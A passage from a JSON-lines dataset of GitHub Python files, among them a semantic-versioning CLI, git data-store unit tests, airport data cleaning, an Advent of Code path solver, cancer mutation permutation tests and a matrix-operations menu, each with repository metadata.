의미하는 <tr> tag 를 모두 검색해 list 로 반환한다.\n notice_list = notice_board_data.select('tr')\n del notice_list[0] # 인덱스 제거\n # 게시물의 한줄씩 가져와서 분석하기 시작\n\n breakrule = dict()\n\n # print('-----------------all list------------------') # 임시 출력(전체 리스트)\n for sub_tr in notice_list:\n sub_tr_data = sub_tr.select('td')\n if len(sub_tr_data) == 0:\n continue\n # 분석\n name = sub_tr_data[4].getText().strip()[0:8] # 이름 받아오기\n time = sub_tr_data[5].getText().strip()[0:8]\n # print(\"이름 : %s || 등록 시간 : %s\" % (name[3:8],time)) # 임시 출력(전체 리스트)\n if int(time[0:2]) < 4:\n breakrule.setdefault(name, time[0:5])\n\n breakrule = list(breakrule.items())\n print(\"------------12시 ~ 4시 업로더-------------\")\n for i in breakrule:\n print(\"이름 : %s || 등록 시간 : %s시 %s분\" % (i[0], i[1][0:2], i[1][3:5]))\n","repo_name":"kadragon/oop_python_ex","sub_path":"student_result/2018/04_parsing/parsing_20.py","file_name":"parsing_20.py","file_ext":"py","file_size_in_byte":2697,"program_lang":"python","lang":"ko","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"} +{"seq_id":"894732462","text":"from sklearn.base import BaseEstimator, TransformerMixin\nimport pandas as pd\nimport numpy as np\nfrom unidecode import unidecode\n\nclass DataCleaning(BaseEstimator, TransformerMixin):\n def __init__(self):\n pass\n \n def fit(self, X, y=None):\n return self\n \n def transform(self, X, y=None):\n X = self.split_names(X)\n X = self.unicode_text(X)\n \n return X\n \n def split_names(self, data):\n\n \"\"\"\n Split the airport names into airport name and corresponding state abbreviation.\n\n Args:\n data (DataFrame): Input DataFrame with columns 'aeroporto_de_origem_nome' and 'aeroporto_de_destino_nome'.\n\n Returns:\n DataFrame: Modified input DataFrame with additional columns 'aeroporto_de_origem_uf' and 'aeroporto_de_destino_uf'.\n The 'aeroporto_de_origem_nome' and 'aeroporto_de_destino_nome' columns are updated to contain only the airport names.\n The 'aeroporto_de_origem_uf' and 'aeroporto_de_destino_uf' columns are converted to the 'category' data type.\n \"\"\"\n\n # Origem\n aeroporto_de_origem_uf = pd.DataFrame( data.aeroporto_de_origem_nome.str.split(',').str[1] )\n aeroporto_de_origem_uf = aeroporto_de_origem_uf.rename(columns={'aeroporto_de_origem_nome': 'aeroporto_de_origem_uf'})\n uf_completo = pd.DataFrame( data.aeroporto_de_origem_uf )\n uf_completo.update(aeroporto_de_origem_uf)\n data.aeroporto_de_origem_uf = uf_completo.astype('category')\n data.aeroporto_de_origem_nome = data.aeroporto_de_origem_nome.str.split(',').str[0].astype('category')\n\n # Destino\n aeroporto_de_destino_uf = pd.DataFrame( data.aeroporto_de_destino_nome.str.split(',').str[1] )\n aeroporto_de_destino_uf = aeroporto_de_destino_uf.rename(columns={'aeroporto_de_destino_nome': 'aeroporto_de_destino_uf'})\n uf_completo = pd.DataFrame( data.aeroporto_de_destino_uf )\n uf_completo.update(aeroporto_de_destino_uf)\n data.aeroporto_de_destino_uf = uf_completo.astype('category')\n data.aeroporto_de_destino_nome = data.aeroporto_de_destino_nome.str.split(',').str[0].astype('category')\n\n return data\n\n def unicode_text(self, data ):\n \"\"\"\n Transforme the text - strip and unidecode.\n \"\"\"\n\n for col in data.select_dtypes(include=['category']).columns:\n data[col] = data[col].astype(str).str.strip().apply(lambda x: unidecode(x))\n data[col] = data[col].astype('category')\n\n return data","repo_name":"jlcunha/passenger_forecast","sub_path":"pipeline/data_cleaning.py","file_name":"data_cleaning.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"21845100751","text":"import datetime\nimport os\nimport re\n\nimport click\nimport semver\nimport tomlkit.toml_file\n\nfrom release_tools.entry import read_changelog_entries\nfrom release_tools.project import Project\nfrom release_tools.repo import RepositoryError\n\n\nVERSION_FILE_TEMPLATE = (\n \"# File auto-generated by semverup on {timestamp}\\n\"\n \"__version__ = \\\"{version}\\\"\\n\"\n)\n\n\n@click.command()\n@click.option('--dry-run', is_flag=True,\n help=\"Do not write a new version number. Print to the standard output instead.\")\n@click.option('--bump-version',\n type=click.Choice(['MAJOR', 'MINOR', 'PATCH'], case_sensitive=False),\n help=\"Increase only the defined version.\")\n@click.option('--pre-release', is_flag=True,\n help=\"Create a new release candidate version.\")\n@click.option('--current-version',\n help=\"Use the given version instead of the version file.\")\ndef semverup(dry_run, bump_version, pre_release, current_version):\n \"\"\"Increment version number following semver specification.\n\n This script will bump up the version number of a package in a\n Git repository using semantic versioning.\n\n You will need to run this script inside that repository. The\n version number must be stored in any directory, under the name\n of '_version.py'. It must also be tracked in the repository.\n New version will be written in the same file. To increase the number\n properly, the script will get the type of every unreleased change\n stored under 'releases/unreleased' directory.\n\n If you don't want to use the version number stored in '_version.py',\n use '--current-version=<VERSION NUMBER>' with the one you would like\n to use.\n\n Additionally, 'pyproject' file will also be updated. Take into\n account this file must be tracked by the repository.\n\n WARNING: this script does not increase MAJOR version yet\n unless it is forced using --bump-version=major.\n\n If you don't want to create a new version and see only the final\n result, please active '--dry-run' flag.\n\n If you want to update the version number regardless the release changes,\n use '--bump-version=[MAJOR,MINOR,PATCH]'.\n\n If you want to create a release candidate, use '--pre-release'. It can be\n combined with '--bump-version' in case you want to update the version number\n regardless the release changes.\n\n If the version is a release candidate and '--pre-release' is used, it will\n increase the pre-release part of the version. If '--pre-release' is not used,\n it will remove any pre-release metadata from the version.\n\n More info about semver specification can be found in the next\n link: https://semver.org/.\n \"\"\"\n try:\n project = Project(os.getcwd())\n except RepositoryError as e:\n raise click.ClickException(e)\n\n if current_version:\n try:\n current_version = semver.parse_version_info(current_version)\n except ValueError:\n msg = \"version number '{}' is not a valid semver string\"\n msg = msg.format(current_version)\n raise click.ClickException(msg)\n else:\n # Get the current version number\n version_file = find_version_file(project)\n current_version = read_version_number(version_file)\n\n # Determine the new version and produce the output\n if bump_version:\n new_version = get_next_version(current_version, bump_version, pre_release)\n else:\n new_version = determine_new_version_number(project, current_version, pre_release)\n\n if not dry_run:\n # Get the pyproject file\n pyproject_file = find_pyproject_file(project)\n write_version_number(version_file, new_version)\n write_version_number_pyproject(pyproject_file,\n new_version)\n\n click.echo(new_version)\n\n\ndef find_version_file(project):\n \"\"\"Find the version file in the repository.\"\"\"\n\n try:\n filepath = project.version_file\n except RepositoryError as e:\n raise click.ClickException(e)\n\n if not filepath:\n raise click.ClickException(\"version file not found\")\n\n return filepath\n\n\ndef find_pyproject_file(project):\n \"\"\"Find the pyproject file in the repository.\"\"\"\n\n try:\n filepath = project.pyproject_file\n except RepositoryError as e:\n raise click.ClickException(e)\n\n if not filepath:\n raise click.ClickException(\"pyproject file not found\")\n\n return filepath\n\n\ndef read_version_number(filepath):\n \"\"\"Read the version number of the given file.\"\"\"\n\n try:\n with open(filepath, 'r', encoding='utf-8') as fd:\n m = re.search(r'^__version__\\s*=\\s*[\\'\"]([^\\'\"]*)[\\'\"]',\n fd.read(), re.MULTILINE)\n if not m:\n raise click.ClickException(\"version number not found\")\n match = m.group(1)\n except FileNotFoundError:\n msg = \"version file {} does not exist\".format(filepath)\n raise click.ClickException(msg)\n\n try:\n version = semver.parse_version_info(match)\n except ValueError:\n msg = \"version number '{}' in {} is not a valid semver string\"\n msg = msg.format(match, filepath)\n raise click.ClickException(msg)\n\n return version\n\n\ndef get_next_version(current_version, bump_version, do_prerelease=False):\n \"\"\"Increment version number based on bump_version choice and do_prerelease\"\"\"\n\n if current_version.prerelease:\n next_version = _get_next_version_from_prerelease(current_version, bump_version, do_prerelease)\n else:\n next_version = _get_next_version_from_final_release(current_version, bump_version, do_prerelease)\n\n if not next_version:\n msg = \"no changes found; version number not updated\"\n raise click.ClickException(msg)\n\n return next_version\n\n\ndef _get_next_version_from_prerelease(current_version, bump_version, do_prerelease):\n \"\"\"Determine the next version number when the current version is a release candidate\"\"\"\n\n next_version = None\n\n if bump_version == 'MINOR' and current_version.patch != 0:\n # 0.1.1-rc.2 >> 0.2.0(-rc.1)\n next_version = current_version.bump_minor()\n elif bump_version == 'MAJOR' and (current_version.minor != 0 or current_version.patch != 0):\n # 0.1.0-rc.2 >> 1.0.0(-rc.1)\n next_version = current_version.bump_major()\n\n if do_prerelease:\n if next_version:\n # New version and do prerelease\n next_version = next_version.bump_prerelease()\n elif bump_version:\n # e.g. 0.2.0-rc.1 and minor changelog and do prerelease >> 0.2.0-rc.2\n next_version = current_version.bump_prerelease()\n else:\n # Remove prerelease metadata from the version\n if next_version:\n next_version = next_version.finalize_version()\n else:\n next_version = current_version.finalize_version()\n\n return next_version\n\n\ndef _get_next_version_from_final_release(current_version, bump_version, do_prerelease):\n \"\"\"Determine the next version number when the current version is a final release\"\"\"\n\n next_version = None\n\n if bump_version == 'PATCH':\n # 0.2.0 >> 0.2.1\n next_version = current_version.bump_patch()\n elif bump_version == 'MINOR':\n # 0.2.0 >> 0.3.0\n next_version = current_version.bump_minor()\n elif bump_version == 'MAJOR':\n # 0.2.0 >> 1.0.0\n next_version = current_version.bump_major()\n\n if next_version and do_prerelease:\n # 0.2.1 >> 0.2.1-rc.1\n next_version = next_version.bump_prerelease()\n\n return next_version\n\n\ndef determine_new_version_number(project, current_version, prerelease):\n \"\"\"Guess the next version number.\"\"\"\n\n entries = read_unreleased_changelog_entries(project)\n\n bump_patch = False\n bump_minor = False\n bump_major = False\n\n for entry in entries.values():\n if entry.category.bump_version == 'major':\n if current_version.major == 0:\n bump_minor = True\n else:\n bump_major = True\n break\n elif entry.category.bump_version == 'minor':\n bump_minor = True\n elif entry.category.bump_version == 'patch':\n bump_patch = True\n\n if bump_major:\n bump_version = 'MAJOR'\n elif bump_minor:\n bump_version = 'MINOR'\n elif bump_patch:\n bump_version = 'PATCH'\n else:\n bump_version = None\n\n next_version = get_next_version(current_version, bump_version, prerelease)\n\n if not next_version:\n msg = \"no changes found; version number not updated\"\n raise click.ClickException(msg)\n\n return next_version\n\n\ndef read_unreleased_changelog_entries(project):\n \"\"\"Returns entries stored in the unreleased changelog entries dir.\"\"\"\n\n dirpath = project.unreleased_changes_path\n\n if not os.path.exists(dirpath):\n msg = \"changelog entries directory {} does not exist.\".format(dirpath)\n raise click.ClickException(msg)\n\n try:\n entries = read_changelog_entries(dirpath)\n except Exception as exc:\n raise click.ClickException(exc)\n\n return entries\n\n\ndef write_version_number(filepath, version):\n \"\"\"Write version number to the given file.\"\"\"\n\n values = {\n 'timestamp': datetime.datetime.utcnow(),\n 'version': version\n }\n stream = VERSION_FILE_TEMPLATE.format(**values)\n\n with open(filepath, mode='w') as fd:\n fd.write(stream)\n\n\ndef write_version_number_pyproject(filepath, version):\n \"\"\"Write version number into the pyproject file.\"\"\"\n\n fd = tomlkit.toml_file.TOMLFile(filepath)\n\n metadata = fd.read()\n poetry_metadata = metadata[\"tool\"][\"poetry\"]\n poetry_metadata[\"version\"] = str(version)\n fd.write(metadata)\n\n\nif __name__ == '__main__':\n semverup()\n","repo_name":"Bitergia/release-tools","sub_path":"release_tools/semverup.py","file_name":"semverup.py","file_ext":"py","file_size_in_byte":9822,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"35"} +{"seq_id":"32098804973","text":"import unittest\nimport os\nimport sys\nimport time\nfrom phylesystem_api.gitdata import GitData, MergeException\nimport simplejson as json\nfrom sh import git\n\ntry:\n # Python 2 only:\n from ConfigParser import SafeConfigParser\nexcept ImportError:\n # Python 2 and 3 (after ``pip install configparser``)\n from configparser import SafeConfigParser\n\n\nclass TestGitData(unittest.TestCase):\n @classmethod\n def setUpClass(self):\n conf = SafeConfigParser(allow_no_value=True)\n if os.path.isfile(\"../private/localconfig\"):\n conf.read(\"../private/localconfig\")\n else:\n conf.read(\"../private/config\")\n\n self.repo = conf.get(\"apis\", \"repo_path\")\n self.gd = GitData(repo=self.repo)\n self.orig_cwd = os.getcwd()\n\n # go into our data repo\n os.chdir(self.repo)\n\n self.testing_branch_name = \"testing_%d\" % int(time.time())\n # create the branch\n git.checkout(\"-b\", self.testing_branch_name)\n\n # start all tests on the master branch\n git.checkout(\"master\")\n\n @classmethod\n def tearDownClass(self):\n git.branch(\"-D\", self.testing_branch_name)\n\n def test_merge(self):\n def cleanup_merge():\n git.checkout(\"master\")\n # if something failed, the branch might still exist\n if self.gd.branch_exists(\"to_merge_1\"):\n git.branch(\"-D\", \"to_merge_1\")\n\n git.branch(\"-D\", \"base_branch\")\n\n self.addCleanup(cleanup_merge)\n\n git.checkout(\"-b\", \"to_merge_1\")\n git.checkout(\"-b\", \"base_branch\")\n\n file = open(\"foo.txt\", \"w\")\n file.write(\"ABC\\n\")\n file.close()\n\n git.add(\"foo.txt\")\n\n git.commit(\"-m\", \"Test commit\")\n\n new_sha = self.gd.merge(\"to_merge_1\", \"base_branch\")\n\n self.assertTrue(new_sha != \"\", \"new_sha=%s is non-empty\" % new_sha)\n self.assertEqual(len(new_sha), 40, \"SHA is 40 chars\")\n\n self.assertTrue(True, \"Merge succeeded\")\n\n def test_merge_conflict(self):\n def cleanup_merge_conflict():\n git.checkout(\"master\")\n # if something failed, the branch might still exist\n if self.gd.branch_exists(\"to_merge_1\"):\n git.branch(\"-D\", \"to_merge_1\")\n\n if self.gd.branch_exists(\"to_merge_2\"):\n git.branch(\"-D\", \"to_merge_2\")\n\n self.addCleanup(cleanup_merge_conflict)\n\n git.checkout(\"master\")\n git.checkout(\"-b\", \"to_merge_1\")\n\n file = open(\"foo.txt\", \"w\")\n file.write(\"ABC\\n\")\n file.close()\n\n git.add(\"foo.txt\")\n git.commit(\"-m\", \"Test commit\")\n\n git.checkout(\"master\")\n\n git.checkout(\"-b\", \"to_merge_2\")\n\n file = open(\"foo.txt\", \"w\")\n file.write(\"XYZ\\n\")\n file.close()\n\n git.add(\"foo.txt\")\n git.commit(\"-m\", \"Test commit\")\n\n self.assertRaises(\n MergeException, lambda: self.gd.merge(\"to_merge_1\", \"to_merge_2\")\n )\n\n def test_current_branch(self):\n git.checkout(self.testing_branch_name)\n branch_name = self.gd.current_branch()\n self.assertEqual(branch_name, self.testing_branch_name)\n\n def test_fetch(self):\n study_id = 438\n study_nexson, head_sha = self.gd.fetch_study(study_id)\n valid = 1\n try:\n json.loads(study_nexson)\n except:\n valid = 0\n self.assertTrue(valid, \"fetch_study(%s) returned valid JSON\" % study_id)\n\n def test_write(self):\n def cleanup_write():\n git.checkout(\"master\")\n git.branch(\"-D\", \"johndoe_study_9998\")\n git.branch(\"-D\", \"johndoe_study_9999\")\n\n self.addCleanup(cleanup_write)\n\n author = \"John Doe <john@doe.com>\"\n content = '{\"foo\":\"bar\"}'\n study_id = 9999\n branch = \"johndoe_study_%s\" % study_id\n new_sha = self.gd.write_study(study_id, content, branch, author)\n self.assertTrue(new_sha != \"\", \"new_sha is non-empty\")\n self.assertEqual(len(new_sha), 40, \"SHA is 40 chars\")\n fetched_content, head_sha = self.gd.fetch_study(9999)\n self.assertEqual(\n content, fetched_content, \"correct content found via fetch_study\"\n )\n\n author = \"John Doe <john@doe.com>\"\n content = '{\"foo2\":\"bar2\"}'\n study_id = 9998\n branch = \"johndoe_study_%s\" % study_id\n new_sha = self.gd.write_study(study_id, content, branch, author)\n\n merge_base_sha1 = git(\n \"merge-base\", \"johndoe_study_9999\", \"johndoe_study_9998\"\n ).strip()\n\n master_sha1 = git(\"rev-parse\", \"master\").strip()\n\n self.assertEqual(\n master_sha1,\n merge_base_sha1,\n \"Verify that writing new study branches from master and not the current branch\",\n )\n\n def test_remove(self):\n def cleanup_remove():\n git.checkout(\"master\")\n git.branch(\"-D\", \"johndoe_study_777\")\n\n self.addCleanup(cleanup_remove)\n\n author = \"John Doe <john@doe.com>\"\n content = '{\"foo2\":\"bar3\"}'\n study_id = 777\n branch = \"johndoe_study_%s\" % study_id\n\n new_sha = self.gd.remove_study(study_id, branch, author)\n self.assertTrue(new_sha != \"\", \"new_sha is non-empty\")\n self.assertEqual(len(new_sha), 40, \"SHA is 40 chars\")\n\n deleted_study_dir = \"%s/study/%s\" % (self.repo, study_id)\n self.assertFalse(\n os.path.exists(deleted_study_dir),\n \"%s should no longer exist\" % deleted_study_dir,\n )\n\n def test_branch_exists(self):\n exists = self.gd.branch_exists(\"nothisdoesnotexist\")\n self.assertTrue(exists == 0, \"branch does not exist\")\n\n branch_name = self.testing_branch_name\n\n exists = self.gd.branch_exists(branch_name)\n self.assertTrue(exists, \"%s branch exists\" % branch_name)\n\n def test_newest_study_id(self):\n def cleanup_newest():\n git.checkout(\"master\")\n git.branch(\"-D\", \"leto_study_o9999\")\n\n self.addCleanup(cleanup_newest)\n\n git.checkout(\"master\")\n newest_id = self.gd.newest_study_id()\n\n self.assertGreaterEqual(newest_id, 2600)\n\n git.checkout(\"-b\", \"leto_study_o9999\")\n\n newest_id = self.gd.newest_study_id()\n self.assertGreaterEqual(newest_id, 9999)\n\n\ndef suite():\n loader = unittest.TestLoader()\n testsuite = loader.loadTestsFromTestCase(TestGitData)\n return testsuite\n\n\ndef test_main():\n testsuite = suite()\n runner = unittest.TextTestRunner(sys.stdout, verbosity=2)\n result = runner.run(testsuite)\n\n\nif __name__ == \"__main__\":\n test_main()\n","repo_name":"OpenTreeOfLife/phylesystem-api","sub_path":"phylesystem_api/tests/test_gitdata.py","file_name":"test_gitdata.py","file_ext":"py","file_size_in_byte":6656,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"} +{"seq_id":"33265476888","text":"from __future__ import annotations\n\nfrom queue import PriorityQueue\nfrom sys import maxsize\nfrom typing import Generator, cast\n\nimport numpy as np\n\n\ndef _neighbours(p: tuple[int, int], size: tuple[int, int]) -> list[tuple[int, int]]:\n delta_x = [1, -1, 0, 0]\n delta_y = [0, 0, 1, -1]\n\n p_x, p_y = p\n n, m = size\n\n nps: list[tuple[int, int]] = []\n\n for d_x, d_y in zip(delta_x, delta_y):\n n_x, n_y = p_x + d_x, p_y + d_y\n if n_x in range(0, n) and n_y in range(0, m):\n nps.append((n_x, n_y))\n\n return nps\n\n\ndef _min_cost_path(map: list[list[int]]) -> int:\n n, m = len(map), len(map[0])\n\n disk = [[maxsize for _ in range(m)] for _ in range(n)]\n pq: PriorityQueue[tuple[int, tuple[int, int]]] = PriorityQueue()\n\n pq.put_nowait((0, (0, 0)))\n disk[0][0] = 0\n\n while not pq.empty():\n _, (x, y) = pq.get_nowait()\n\n for (n_x, n_y) in _neighbours((x, y), (n, m)):\n n_cost = map[n_x][n_y]\n if disk[n_x][n_y] > disk[x][y] + n_cost:\n disk[n_x][n_y] = disk[x][y] + n_cost\n pq.put_nowait((disk[n_x][n_y], (n_x, n_y)))\n\n return disk[n - 1][m - 1]\n\n\ndef _expand(map: list[list[int]]) -> list[list[int]]:\n def _map_cycler(map: list[list[int]], take: int) -> Generator[list[list[int]], None, None]:\n for _ in range(take):\n yield map\n map = [[x + 1 if x <= 8 else 1 for x in row] for row in map]\n\n matricies = [[np.array(matrix) for matrix in _map_cycler(row_seed, 5)] for row_seed in _map_cycler(map, 5)]\n\n return cast(list[list[int]], np.concatenate([np.concatenate(row, axis=1) for row in matricies], axis=0).tolist())\n\n\ndef _parse(input_text: str) -> list[list[int]]:\n return list(map(lambda l: list(map(int, l)), input_text.splitlines()))\n\n\ndef solve(input_text: str) -> tuple[int, int]:\n\n map = _parse(input_text)\n\n min_cost_path = _min_cost_path(map)\n\n expanded_map = _expand(map)\n\n expanded_min = _min_cost_path(expanded_map)\n\n return min_cost_path, expanded_min\n\n\n\"\"\"\nI misunderstood how to do the expansion, this expands each value in the original map to something like this:\n\n8 9 1 2 3\n9 1 2 3 4\n1 2 3 4 5\n2 3 4 5 6\n3 4 5 6 7\n\nWhere the top left is the seed and all other increase with 1 wrapping at 10.\n\nI spent too much time on this to delete it!\n\ndef _crange(begin: int, end: int, start: int | None = None, step: int = 1, take: int | None = None) -> Generator[int]:\n taken = 0\n x = start if start is not None and start < end else begin\n while True:\n yield x\n taken += 1\n if take is not None and taken >= take:\n break\n x = x + step if x + step < end else begin\n\n\ndef _expand(map: list[list[int]]) -> list[list[int]]:\n matricies = [\n [\n np.array(\n [[_y for _y in _crange(1, 10, start=_x, take=5)] for _x in _crange(1, 10, start=x, take=5)]\n ).reshape(5, 5)\n for x in row\n ]\n for row in map\n ]\n return np.concatenate([np.concatenate(row, axis=1) for row in matricies], axis=0).tolist()\n\"\"\"\n","repo_name":"osiaccr/AOC2021","sub_path":"src/aoc/day15/_day15.py","file_name":"_day15.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"37244705146","text":"import http.client\r\nimport re\r\n\r\n\r\ndef getMetas(url):\r\n\tconn = http.client.HTTPSConnection('www.adobe.com', timeout=30)\r\n\tconn.request(\"GET\",url)\r\n\tres = conn.getresponse()\r\n\tcontent=str(res.read())\r\n\tp=re.compile('<(title)>(.*)')\r\n\tresults=p.findall(content)\r\n\tp=re.compile(' int:\n min_val = 0\n max_val = len(nums) - 1\n while min_val <= max_val:\n mid = min_val + (max_val - min_val)//2\n count = 0\n for i in range(len(nums)):\n if nums[i] <= mid:\n count += 1\n if count > mid:\n max_val = mid - 1\n else:\n min_val = mid + 1\n \n return min_val\n'''\n# T: O(n)\n# S: O(1)\nclass Solution:\n def findDuplicate(self, nums: List[int]) -> int:\n slow = nums[0]\n fast = nums[nums[0]]\n while slow != fast:\n slow = nums[slow]\n fast = nums[nums[fast]]\n \n fast = 0\n while slow != fast:\n slow = nums[slow]\n fast = nums[fast]\n return slow\n \n","repo_name":"syzdemonhunter/Coding_Exercises","sub_path":"Leetcode/287.py","file_name":"287.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"23317808379","text":"\"\"\"\r\nThis file consists of functions for the algorithm of permutation test of mutated genes for cross-cancer patients.\r\n\r\n@author: Duygu Ay\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport ast\r\nimport statsmodels.stats.multitest as smm\r\n\r\ndef prep_mut(cancer, FLAGS):\r\n\r\n \"\"\"preprocessing of mutation data\"\"\"\r\n \r\n df = pd.read_csv(FLAGS.mut_data_dir + str(cancer) +'_mutations.txt', sep = \"\\t\")\r\n \r\n f = lambda x:'-'.join(x for x in x.split('-')[:4])[:-1]\r\n df.Tumor_Sample_Barcode = df.Tumor_Sample_Barcode.map(f)\r\n df.Tumor_Sample_Barcode =pd.Series(df.Tumor_Sample_Barcode).str.replace(\"-\", \".\")\r\n \r\n f2 = lambda x: True if x[-2:] == '01' or x[-2:] == '03' else False\r\n df.index = df.Tumor_Sample_Barcode\r\n df = df[df.index.map(f2)]\r\n \r\n return df\r\n \r\n \r\ndef perm_test_mut_pvalue(o, c, main_mut, can1_mut, rand_patient_set, FLAGS):\r\n\r\n \"\"\"\r\n This funtion returns p-value of common mutated genes in cross-cancer patients as a result of permutation test.\r\n \r\n ....\r\n \r\n o: The number of similar patients who share mutated gene c with the cross-cancer patient.\r\n c: The common mutated gene in the cross-cancer patient.\r\n main_mut: Mutated genes of the cross-cancer patient.\r\n can1_mut: Mutation data of patients in cancer type of the cross-cancer patient.\r\n rand_patient_set: Indices of random patients drawn in patients of cancer type of the cross-cancer patient. \r\n ....\r\n \r\n Output\r\n p-value: p-value as a result of the permutation test.\r\n \"\"\"\r\n \r\n count=0\r\n for k in range(FLAGS.N): #number of permutations\r\n \r\n rand_ind = rand_patient_set.iloc[k,:]\r\n S_k = can1_mut[can1_mut.index.isin(rand_ind)]\r\n pairs_mut = np.unique(S_k['Hugo_Symbol'])\r\n common_mut=list(set(main_mut).intersection(set(pairs_mut)))\r\n \r\n if c in common_mut:\r\n \r\n patients_c = S_k[S_k['Hugo_Symbol']==c]\r\n o_k = len(np.unique(patients_c.index.values))\r\n \r\n if o_k >= o:\r\n count+=1\r\n \r\n p_value = count/FLAGS.N \r\n \r\n return p_value\r\n\r\n \r\ndef perm_test_mut_main(cross_matrix, rand_p, FLAGS):\r\n\r\n \"\"\"\r\n This funtion returns p-values of common mutated genes between cross-cancer patients and patients similar to them as a result of permutation test.\r\n \r\n .... \r\n cross_matrix: DataFrame of cross-cancer patients.\r\n rand_p: List of the indices of random patients drawn in patients of cancer type of the cross-cancer patient. \r\n ....\r\n \r\n Output\r\n all_p: List of dataframes that include p-values of common mutated genes in cross-cancer patients.\r\n \"\"\"\r\n \r\n all_p = []\r\n for i,j in zip(cross_matrix.index, range(len(cross_matrix.index.values))):\r\n \r\n can1=cross_matrix.loc[i, 'Cross-cancer Type'] \r\n can2=cross_matrix.loc[i, 'Cancer Type of Patients Similar to']\r\n pairs = cross_matrix.loc[i, \"Patients Similar to\"]\r\n pairs= ast.literal_eval(pairs)\r\n \r\n #preprocess of mutation data\r\n can1_mut = prep_mut(can1, FLAGS)\r\n can2_mut = prep_mut(can2, FLAGS)\r\n \r\n p_values = []\r\n obs_stat = []\r\n common_mut = [] #list of common mutated genes\r\n \r\n if i in can1_mut.index:\r\n \r\n main_mut = np.unique(can1_mut.loc[i,'Hugo_Symbol']) #mutated genes of the cross-cancer patient\r\n \r\n pairs_df = can2_mut[can2_mut.index.isin(pairs)]\r\n pairs_mut = np.unique(pairs_df['Hugo_Symbol'])\r\n common_mut=list(set(main_mut).intersection(set(pairs_mut)))\r\n \r\n if len(common_mut) != 0: \r\n \r\n for c in common_mut: #permutation test for every common mutated genes\r\n \r\n patients_c = pairs_df[pairs_df['Hugo_Symbol']==c]\r\n o = len(np.unique(patients_c.index))\r\n \r\n p_value = perm_test_mut_pvalue(o, c, main_mut, can1_mut, rand_p[j], FLAGS)\r\n \r\n p_values.append(p_value)\r\n obs_stat.append(o)\r\n \r\n print('P-value of mutated gene ' + str(c) + ' in patient ' + str(i) + ':', p_value)\r\n \r\n p = pd.DataFrame({'genes': common_mut, 'NumOfPatientsMutated': obs_stat, 'p-value': p_values})\r\n if not p.empty:\r\n p['Cross-cancer Patient'] = i\r\n all_p.append(p)\r\n \r\n return all_p\r\n\r\n\r\ndef BH_pvalue(all_p):\r\n\r\n \"\"\"\r\n This funtion returns adjusted p-values with BH correction of all common mutated genes or cytobands.\r\n \r\n .... \r\n all_p: List of dataframes that include p-values of common mutated genes or cytobands for every cross-cancer patient. \r\n ....\r\n\r\n \"\"\"\r\n if len(all_p)==1:\r\n concatenated_df = all_p[0]\r\n \r\n else:\r\n concatenated_df = pd.concat(all_p, ignore_index=True)\r\n \r\n concatenated_df.sort_values(by='p-value', inplace=True, ascending=True)\r\n \r\n rej, pval_corr = smm.multipletests(concatenated_df['p-value'], alpha = 0.1, method = 'fdr_i')[:2]\r\n \r\n concatenated_df['BH'] = pval_corr\r\n \r\n return concatenated_df\r\n ","repo_name":"tastanlab/DeepCrossCancer","sub_path":"permtest_mutation.py","file_name":"permtest_mutation.py","file_ext":"py","file_size_in_byte":5253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"37215760631","text":"import gettingMatrices\nimport gettingVectors\nimport additionMatrices\nimport subtractMatrices\nimport transposeMatrix\nimport multiplyMatrices\nimport multiplyVectorAndMartix\nimport symmetryTest\nimport vectorDotProduct\nimport weightedDotProduct\n\n\ndef main():\n print(\"Choose [1] if you would like to perform a matrix addition\")\n print(\"Choose [2] if you would like to perform a matrix subtraction\")\n print(\"Choose [3] if you would like to perform a matrix multiplication\")\n print(\"The two matrices should be of the same dimension!!!\\n\\n\")\n print(\"Choose [4] if you would like to get a tranpose of a matrix\")\n print(\"Choose [5] if you would like to check if a matrix is symmetric\")\n print(\"Choose [6] if you would like to multiply a vector by a matrix\")\n print(\"Choose [7] if you would like to calculate dot product of two vectors\")\n print(\"Choose [8] if you would like to calculate weighted dot product of two vectors\")\n print(\"The vector must have the dimension same as the Col number of matrix\")\n user_choice = input(\"Your choice is: \")\n\n while True:\n # case when user chooses addition function\n if user_choice == \"1\":\n inputs = gettingMatrices.get_input(2)\n firstMatrix = inputs[0]\n secondMatrix = inputs[1]\n same_dimension = gettingMatrices.check_dimension(firstMatrix,secondMatrix, False)\n additionMatrices.addition_matrix(firstMatrix,secondMatrix,same_dimension)\n next_choice = input(\"Type y(yes) to execute program again.\\nType anything else to exit. \")\n if next_choice == \"y\":\n main()\n elif next_choice == \"n\":\n raise SystemExit\n else:\n raise SystemExit\n \n # case when user chooses subtraction function\n elif user_choice == \"2\":\n inputs = gettingMatrices.get_input(2)\n firstMatrix = inputs[0]\n secondMatrix = inputs[1]\n same_dimension = gettingMatrices.check_dimension(firstMatrix, secondMatrix, False)\n subtractMatrices.subtract_matrix(firstMatrix, secondMatrix, same_dimension)\n next_choice = input(\"Type y(yes) to execute program again.\\nType anything else to exit. \")\n if next_choice == \"y\":\n main()\n elif next_choice == \"n\":\n raise SystemExit\n else:\n raise SystemExit\n \n # case when user chooses multiply function\n elif user_choice == \"3\":\n inputs = gettingMatrices.get_input(2)\n firstMatrix = inputs[0]\n secondMatrix = inputs[1]\n proper_dimension = gettingMatrices.check_dimension(firstMatrix, secondMatrix, True)\n multiplyMatrices.multi_matrix(firstMatrix, secondMatrix, proper_dimension)\n next_choice = input(\"Type y(yes) to execute program again.\\nType anything else to exit. \")\n if next_choice == \"y\":\n main()\n elif next_choice == \"n\":\n raise SystemExit\n else:\n raise SystemExit\n \n # case when user chooses transpose function\n elif user_choice == \"4\":\n firstMatrix = gettingMatrices.get_input(1)\n transposeMatrix.to_transpose(firstMatrix,True)\n next_choice = input(\"Type y(yes) to execute program again.\\nType anything else to exit. \")\n if next_choice == \"y\":\n main()\n elif next_choice 